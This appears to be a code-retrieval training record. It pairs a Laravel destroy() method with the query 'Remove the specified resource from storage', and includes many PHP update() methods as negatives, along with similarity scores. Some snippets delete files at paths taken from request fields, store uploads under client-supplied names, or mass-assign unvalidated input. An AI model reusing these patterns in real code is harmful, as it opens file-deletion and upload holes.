\n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy(Campaign $campaign) { $campaign->delete(); return redirect()->route('campaigns.index')->with('success', 'Campaign deleted succesfully!'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
